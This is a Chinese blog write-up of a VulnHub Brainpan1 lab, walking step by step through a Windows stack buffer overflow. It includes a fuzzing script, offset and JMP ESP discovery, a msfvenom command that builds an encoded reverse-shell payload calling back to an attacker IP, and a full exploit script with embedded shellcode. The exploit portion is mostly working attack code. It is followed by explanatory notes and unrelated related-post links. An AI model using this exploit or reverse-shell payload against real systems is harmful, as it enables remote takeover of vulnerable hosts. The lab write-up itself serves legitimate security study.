第十一篇红队笔记-百靶精讲之Brainpan1-缓存区溢出

【网络安全】brainpan-windows缓冲区溢出详解 简介 渗透测试 注意: 本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。 一、前言 缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。 项目十七:brainpan-1 阅读详情

nmap扫描

在这里插入图片描述
在这里插入图片描述

web渗透测试

在这里插入图片描述
在这里插入图片描述

缓冲区溢出漏洞识别

  • 查看文件
    在这里插入图片描述
  • 通过Immunity Debugger查看exe内存动态变化
    • 需要点击开始,右下角runing状态,此时相当于运行该exe
      在这里插入图片描述
  • 编写py脚本判断是否存在缓冲溢出
#! /usr/bin/python

import socket
import time
import sys

size = 100
server = str(sys.argv[1])
port = int(sys.argv[2])

while True:
    try:
        print("\n[+] buffer is %s byets" % size);
        buffer = "A" * size
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((server,port))
        print(buffer+"1")
        s.send(buffer.encode())
        s.close()
        size += 100
        time.sleep(3)
    except:
        print ("\n[+] Cloud not connect.")
        sys.exit()

在这里插入图片描述

  • 可以判定存在溢出且大小不会超过1k
    在这里插入图片描述

定位eip寄存器

  • 确定漏洞溢出点的长度。一般将工具 msf-pattern_create和 msf-pattern_offset配合使用。

  • msf-pattern_create生成上述溢出大小不会超过1k的长度字符串
    在这里插入图片描述

  • 得到此时EIP内存地址为35724134
    在这里插入图片描述

  • 根据EIP地址得出偏移量
    在这里插入图片描述

  • 再次确认偏移量524是否准确的溢出点
    在这里插入图片描述

esp扩容

  • 一般一个payload字节是300-500字节
    在这里插入图片描述
    在这里插入图片描述

坏字节识别

  • 判断esp中间有哪些坏字符不能被我们所用
  • 下载坏字符
    在这里插入图片描述
    -判断坏字符是否都正常显示(\x00默认终止符号)
    在这里插入图片描述
    在这里插入图片描述

jmp esp定位

  • esp它的确是eip结束之后去执行的,但是它具体在哪个位置上不清楚.

  • 使用eip地址去重定向到esp。所以我们要通过在eip这四个字节里面写上esp的地址。一般使用jmp esp

  • 先用msf-nasm_shell工具明确想写的指令

    • 可看到jmp esp地址:\xff\xe4
      在这里插入图片描述
  • !mona modules 查看可用的dll模块
    在这里插入图片描述

  • 根据可用dll,搜索jmp esp 地址
    在这里插入图片描述

  • 获得JMP ESP地址:311712F3
    在这里插入图片描述

payload编写

# x86/shikata_ga_nai 防免杀
msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=10.0.2.132 -e x86/shikata_ga_nai -b "\x00" -f python

在这里插入图片描述

#coding:utf-8


import socket
import time
import sys

size = 100
server = str(sys.argv[1])
port = int(sys.argv[2])

while True:
    try:
        print("\n[+] buffer is %s byets" % size);
        buf =  b""
        buf += b"\xbb\x37\x60\x4f\x5f\xda\xc6\xd9\x74\x24\xf4\x5d"
        buf += b"\x33\xc9\xb1\x52\x83\xed\xfc\x31\x5d\x0e\x03\x6a"
        buf += b"\x6e\xad\xaa\x68\x86\xb3\x55\x90\x57\xd4\xdc\x75"
        buf += b"\x66\xd4\xbb\xfe\xd9\xe4\xc8\x52\xd6\x8f\x9d\x46"
        buf += b"\x6d\xfd\x09\x69\xc6\x48\x6c\x44\xd7\xe1\x4c\xc7"
        buf += b"\x5b\xf8\x80\x27\x65\x33\xd5\x26\xa2\x2e\x14\x7a"
        buf += b"\x7b\x24\x8b\x6a\x08\x70\x10\x01\x42\x94\x10\xf6"
        buf += b"\x13\x97\x31\xa9\x28\xce\x91\x48\xfc\x7a\x98\x52"
        buf += b"\xe1\x47\x52\xe9\xd1\x3c\x65\x3b\x28\xbc\xca\x02"
        buf += b"\x84\x4f\x12\x43\x23\xb0\x61\xbd\x57\x4d\x72\x7a"
        buf += b"\x25\x89\xf7\x98\x8d\x5a\xaf\x44\x2f\x8e\x36\x0f"
        buf += b"\x23\x7b\x3c\x57\x20\x7a\x91\xec\x5c\xf7\x14\x22"
        buf += b"\xd5\x43\x33\xe6\xbd\x10\x5a\xbf\x1b\xf6\x63\xdf"
        buf += b"\xc3\xa7\xc1\x94\xee\xbc\x7b\xf7\x66\x70\xb6\x07"
        buf += b"\x77\x1e\xc1\x74\x45\x81\x79\x12\xe5\x4a\xa4\xe5"
        buf += b"\x0a\x61\x10\x79\xf5\x8a\x61\x50\x32\xde\x31\xca"
        buf += b"\x93\x5f\xda\x0a\x1b\x8a\x4d\x5a\xb3\x65\x2e\x0a"
        buf += b"\x73\xd6\xc6\x40\x7c\x09\xf6\x6b\x56\x22\x9d\x96"
        buf += b"\x31\x47\x62\x9a\x45\x3f\x60\x9a\x44\x7b\xed\x7c"
        buf += b"\x2c\x6b\xb8\xd7\xd9\x12\xe1\xa3\x78\xda\x3f\xce"
        buf += b"\xbb\x50\xcc\x2f\x75\x91\xb9\x23\xe2\x51\xf4\x19"
        buf += b"\xa5\x6e\x22\x35\x29\xfc\xa9\xc5\x24\x1d\x66\x92"
        buf += b"\x61\xd3\x7f\x76\x9c\x4a\xd6\x64\x5d\x0a\x11\x2c"
        buf += b"\xba\xef\x9c\xad\x4f\x4b\xbb\xbd\x89\x54\x87\xe9"
        buf += b"\x45\x03\x51\x47\x20\xfd\x13\x31\xfa\x52\xfa\xd5"
        buf += b"\x7b\x99\x3d\xa3\x83\xf4\xcb\x4b\x35\xa1\x8d\x74"
        buf += b"\xfa\x25\x1a\x0d\xe6\xd5\xe5\xc4\xa2\xe6\xaf\x44"
        buf += b"\x82\x6e\x76\x1d\x96\xf2\x89\xc8\xd5\x0a\x0a\xf8"
        buf += b"\xa5\xe8\x12\x89\xa0\xb5\x94\x62\xd9\xa6\x70\x84"
        buf += b"\x4e\xc6\x50"

        buffer = "\x41" * 524 + "\xf3\x12\x17\x31" + "\x90" * 16 + buf
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((server,port))
        s.recv(1024)
        s.send(buffer)
        print "done"
        size += 100
        time.sleep(3)
    except Exception as errorMsg:
            print "产生错误了:%s'%errorMsg"
            print "\n[+] Cloud not connect."
            sys.exit()


  • 监听shell反弹端口
    在这里插入图片描述

成功利用缓冲区漏洞

  • 同上(针对靶机linux)
    在这里插入图片描述

巧用anansi_util提权

在这里插入图片描述

其他

缓冲区溢出漏洞流程

  • 解缓冲区溢出漏洞的识别、大小,定位eip寄存器、esp寄存器扩容、坏字节识别、jmp esp定位,payload生成

EIP、EBP、ESP的解读

  • EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
  • EBP存储着当前函数栈底的地址,栈低通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。
  • ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

为什么EIP是41414141可以判断缓冲区存在溢出

  • 这不是什么根本性的。这只是一个历史惯例。更详细地说:测试缓冲区溢出的最简单方法是在文本字段中键入一长串 A (AAAAAAAA…),然后看看会发生什么。如果程序崩溃,则可能容易受到攻击。如果程序崩溃并且调试器在程序计数器中显示0x41414141,该程序几乎肯定是脆弱的。(请记住,“A”的 ASCII 代码是十六进制0x41的,所以如果你在十六进制编辑器中查看 A 字符串的字节级表示形式,你会看到0x41414141。
  • 为什么是A?完全没有理由;它们只是字母表中的第一个字母。因此,这是渗透测试人员有时会使用的快速而肮脏的测试。但是,当然,0x41414141并没有什么特别之处。道格拉斯·亚当斯的粉丝可以输入一长串B,然后寻找0x42424242。那同样有效,甚至更有趣。

确认偏移量524是否准确的溢出点

  • 准确显示AABBCC=524是溢出点
    在这里插入图片描述

怎么通过35724134地址得到524就是偏移量

在这里插入图片描述

  • 首先要知道内存地址和平常书写地址是相反的,内存会把内存低地址放在高位,内存高地址放在低位,所以排列顺序是:

    35724134
    34 41 72 35
    4  A  r  5
    4Ar5
    
  • 对照的就是pattern_create.rb生成的1000字符中524位的地方存在溢出,pattern_offset.rb会自动计算在1000个字符中4Ar5位置

为什么要测试坏字符

  • 坏字符本意是 A 的机器码发送到服务端,服务端存入内存时却变成了 B。比方说我想执行的shellcode 为 0a,但存入内存中后啪的一下变成了 00,这就很不好了,shellcode就不是我们原来正常的逻辑了。

发生pycommands:error importing module.

在这里插入图片描述

  1. 下载python2.7
  2. 查看Immunity Debugger\PyCommands该文件夹是否有mona.py,无则另外下载

怎么判定可用dll模块

  • SafeSEH、ASLR、NXCompat都是内存保护机制所保护的模块!
  • 要选择JMP ESP一定要选择这三项都未False的模块

为什么跑的是window-exe确实linux

在这里插入图片描述

BrainPan1:Desarrrollo de la CTF BrainPan1 脑盘1 Desarrrollo del CTF BrainPan 1.下载: ://www.vulnhub.com/entry/brainpan-1,51/ Escaneo de Puertos root@kali:~# nmap --disable-arp-ping -n -P0 -p- -T5 -O -sV 192.168.78.134 Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-09 16:40 EST Nmap scan report for 192.168.78.134 Host is up (0.00096s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 9999/tcp open abyss? 10000/tcp 立即下载

相关推荐

Vivado新手避坑指南:搞懂Generate Output Products和Create HDL Wrapper到底在干啥

本文深入解析Vivado设计流程中的Generate Output Products和Create HDL Wrapper两大关键步骤,帮助新手理解其核心功能与操作要点。通过详细讲解文件生成类型、关键选项设置及常见问题解决方案,指导开发者正确使用这两个功能,避免设计流程中的常见错误,提高FPGA开发效率。

weixin_29207149的博客 308

靶机精讲之Brainpan1

观测查看文件,看是否是可执行文件,还要考虑安全性如何。-sT 说明用tcp协议(三次握手)扫描。10000端口是个python服务。拒绝访问,但说明还是有交互的。用监测nc查看9999端口。显示/bin/目录有东西。

m0_63285023的博客 394

高性能网站设计之缓存更新的套路

看到好些人在写更新缓存数据代码时,先删除缓存,然后再更新数据库,而后续的操作会把数据再装载的缓存中。然而,这个是逻辑是错误的。试想,两个并发操作,一个是更新操作,另一个是查询操作,更新操作删除缓存后,查询操作没有命中缓存,先把老数据读出来后放到缓存中,然后更新操作更新了数据库。于是,在缓存中的数据还是老的数据,导致缓存中的数据是脏的,而且还一直这样脏下去了。 我不知道为什么这么多人用的都是这

代码技巧 1万+

实战vulnhub靶场之Brainpan1

file 查看文件基本信息,是windows下的可执行文件,binwalk查看有没有被捆绑,没有捆绑文件,strings 查看一下字符串,看看有没特色字符串,发现shitstorm字符串,先记录下来。总结:扫描端口,漏洞等一些必要测试后,出来这个程序,其他没有发现任何可以利用的点,那唯一的可能就是这台靶机,就是需要我们利用换缓冲区溢出漏洞来拿下它。这里发现是468字节,可以我放下的exp的,另外还要找坏字符,在c语言中0x00的作用是截断,在使用时,提去除像00这样的坏字符。

weixin_52043811的博客 1378

MID360+fastlio功能笔记

前言。

qq_35598561的博客 5295

Verilog语法之十:过程块(initial和always)

我将Verilog的语法进行了总结,写了13篇文章,让小白“快速见识猪如何跑”,每一篇讲解一类语法,结合正确的示例代码和错误的示例代码,有的章节对个别语法进行了归纳总结,帮助初学者加深理解。

航天领域资深码农,型号经验丰富,一线干货分享 1671

vulnhub之school 1

首先用注入进入后台,信息收集,文件上传取得shell,利用wine缓冲区溢出漏洞提权成功。知识点少,但是很难搞。

weixin_54431413的博客 1100

Spring Boot 调用豆包大模型如何开启联网搜索?

场景推荐方案有权限创建 Bot + 需强集成✅ 使用bot-xxxx无 Bot 权限 / 追求通用性✅ 自行集成搜索引擎 + 普通豆包模型仅需基础对话❌ 无需考虑联网豆包大模型确实支持联网搜索,但前提是:你用的是“智能体 Bot”,且它被配置了“网页搜索”插件,并调用正确的 API 端点。希望本文能帮你少走弯路,快速构建出真正“知天下事”的智能助手!

lpfasd123的博客 1120

【甄选靶场】Vulnhub百个项目渗透——项目十七:brainpan-1(windows缓冲区溢出,sudo提权)

网络安全,渗透测试,信息安全,vulnhub

人间体佐菲的博客 823

NetSuite软件二次开发:NetSuite二次开发最佳实践与案例分析

SuiteScript是NetSuite提供的一种用于二次开发的脚本语言,它基于JavaScript,但添加了特定的API和框架,以支持NetSuite平台的业务逻辑开发。SuiteScript有两种版本:SuiteScript 1.0和SuiteScript 2.0,后者提供了更现代的面向对象编程模型,增强了代码的可读性和可维护性。NetSuite允许用户自定义字段以满足特定的业务需求。这些字段可以添加到现有的记录类型中,也可以用于自定义记录。自定义字段可以是文本、数字、日期、下拉列表等多种类型。

kkchenjj的博客 1465

8155源码编译DSP(ubuntu环境下)

一.设置环境变量 -users:/$ sudo gedit ~/.bashrc #set adsp cdsp tools path #export ARMLMD_LICENSE_FILE=<LICENSE FILE INFO> #export ARMTOOLS=RVCT221 #export ARMROOT=/pkg/asw/compilers/arm/ADS1.2 #export ARM_COMPILER_PATH=/pkg/qct/software/arm/RVDS/2.2BLD593

Johnny2004的专栏 1676

红队打靶:Brainpan打靶思路详解(vulnhub)

本文是vulnhub靶机brainpan的详细打靶过程。涉及到的知识点包括strings命令、ImmunityDebugger的基本操作、缓冲区溢出漏洞、ret2shellcode、sudo提权等。理解构造溢出的全局思路是关键,操作过程中还有许多有关编码免杀绕过、内存小端显示等细节问题需要理解。

Bossfrank的博客 1736

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

vulnHub-Brainpan-1

用以上输出结果修改exploit.py脚本中的payload变量 并再次执行exploit.py脚本使目标程序崩溃,记录下Immunity Debugger中的esp address。构建exploit.py脚本,我们在exploit.py脚本中添加windows的IP,结合前面得到的能够使目标程序崩溃的offset值-524个字符大小,得到以下初始脚本。immunity debugger工具下载地址为:https://www.immunityinc.com/products/debugger/

natai9的博客 2078

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

17-VulnHub-Brainpan 1

17-VulnHub-brainpan 靶机地址:https://www.vulnhub.com/entry/brainpan-1,51/ 目标:得到root权限&找到四个flag.txt 作者:尼德霍格007 时间:2021-8-11 注意:此次渗透在VMware虚拟机中演示,kali机IP地址为192.168.21.128。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。 一、信息收集 nmap扫描网段 nmap -sP 192.168.21.0/24 扫描到靶机

尼德霍格007 1085

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

笔记40-60

当列表长度大于2的时候,设置files前两个元素的路径,然后比较当前用户home目录下的json文件名中的时间和/tmp目录下json文件名中的时间,根据比较结果返回对应的json文件。查看里面的信息后,看下log.py这个脚本,发现clear.log会每分钟开头执行一次,看源码分析,每分钟都会清理日志的意思,他会调用log.py,虽然可以利用,但是他这个脚本只能看,不能改,然而之前的script文件夹可是满权限,那么就可以让这个log.py文件改名,让我们自己写的脚本变为log.py。

2201_75378806的博客 1765

vulhub-sunset:dawn3

这台靶机的知识是win缓冲区溢出漏洞,本篇文章是按照b站红队笔记师傅视频学习的nmap 常规扫描,有个6812端口和21端口匿名登入ftp,下载dawn3.exefile,binwalk,strings先查看一下文件从输出中可以看到一些信息:PE32 是一种用于 32 位 Windows 操作系统的可执行文件格式"(console)" 表示这是一个控制台应用程序。

2201_75378806的博客 950

Metasploit 工具(pattern_create.rb)使用前设置

首先去官网下载metasploit的linux安装包并安装。 安装完成后想单独使用其用ruby编写的工具,如pattern_create.rb(/opt/metasploit/apps/pro/msf3/tools/exploit/),下面介绍配置好可以使用这些工具的环境的过程。

一个热爱逆向,喜爱学习、分享的猿。 4031

OSCP Brainpan 靶机渗透

Brainpan靶机渗透 目标:得到root权限 作者:shadow 时间:2021-03-24 请注意:对于所有计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。 一、信息收集 netdiscover -i eth0 Brainpan主机ip为172.16.1.8 然后我们nmap一下看看哪些端口是开放的 nmap -p- -A 172.16.1.8 只开放了9999.

Shadow的博客 5226

c++堆栈溢出怎么解决_跟小黑学漏洞利用开发之简单的缓冲区溢出

本文章,我们将研究如何在Win32系统上利用缓冲区漏洞,完成我们的Windows漏洞利用开发,从最基础的开发开始,特别说明本篇文章中暂时不涉及DEP和ALSR等漏洞利用让技术,相关技术以后文章在专门介绍了解此类。本篇主要是给各位跟我一样喜欢漏洞利用开发的同(样爱)好,做一个开篇引导,对于某些同好可能是ta进入这个领域的第一个Exploit Dev准备WindowsXP—Sp3(目标机)kali-l...

weixin_39944638的博客 813

No.17-VulnHub-Brainpan: 1-Walkthrough渗透学习

** VulnHub-Brainpan: 1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/fristileaks-13,133/ 靶机难度:中级(CTF) 靶机发布日期:2015年12月14日 靶机描述:用于荷兰非正式黑客聚会的小型VM,称为Fristileaks。 打算在几个小时内打破,而无需调试器,逆向工程等。 目标:得到root权限&a...

qq_34801745的博客 1859

vulhub Brainpan:1

ZeroNIl

hee_mee的博客 1258

渗透之——使用Metasploit实现对缓冲区栈的溢出攻击

转载请注明出处:https://blog.youkuaiyun.com/l1028386804/article/details/86494568 这里我们不说理论,只讲实战,以Metasploit溢出bof-server.exe为例。 1.下载工具 这里需要下载bof-server.exe和ImmunityDebugger bof-server.exe 下载地址为:http://redstack.ne...

冰河的专栏 6361

python模块以及导入出现ImportError: No module named 'xxx'问题

python中,每个py文件被称之为模块,每个具有__init__.py文件的目录被称为包。只要模 块或者包所在的目录在sys.path中,就可以使用import 模块或import 包来使用 如果你要使用的模块(py文件)和当前模块在同一目录,只要import相应的文件名就好,比 如在a.py中使用b.py:  import b  但是如果要import一个不同目录的文件(例如b.

我的新博客 57万+

Linux栈溢出漏洞利用详解

本节主要讲解了linux 32位系统栈溢出的利用原理。以一个实例,详细描述了linux栈溢出的原理和应用。 1.栈溢出背景知识 栈 栈又称堆栈,由编译器自动分配释放,行为类似数据结构中的栈(先进后出)。堆栈主要有三个用途: 为函数内部声明的非静态局部变量(C语言中称“自动变量”)提供存储空间。 记录函数调用过程相关的维护性信息,称为栈帧(Stack Frame)或过程活动记录(Procedure Activation Record)。它包括函数返回地址,不适合装入寄...

ShadowBlade 4720

MySQL建库建表操作学习笔记

SQL(Structured Query Language,结构化查询语言)是用于在关系型数据库上执行数据操作、数据检索以及数据维护的标准语言。:用于定义对数据库对象(库、表、列、索引)的操作,如 CREATE、DROP、ALTER、RENAME、TRUNCATE 等。保存可变长度的字符串(可包含字母、数字以及特殊字 符)。:用于定义对数据库记录的操作,如 INSERT、DELETE、UPDATE、SELECT 等。:用于定义对数据库、表、字段、用户的访问权限和安全级别,如 GRANT、REVOKE 等。

Eternitycai的博客 217
上一篇: 第十二篇红队笔记-百靶精讲之Billu_b0x
下一篇: 第十篇红队笔记-百靶精讲之Tr0ll-FTP-wireshark(pcap)
zgcadmin
博客等级 码龄9年 174粉丝 109原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值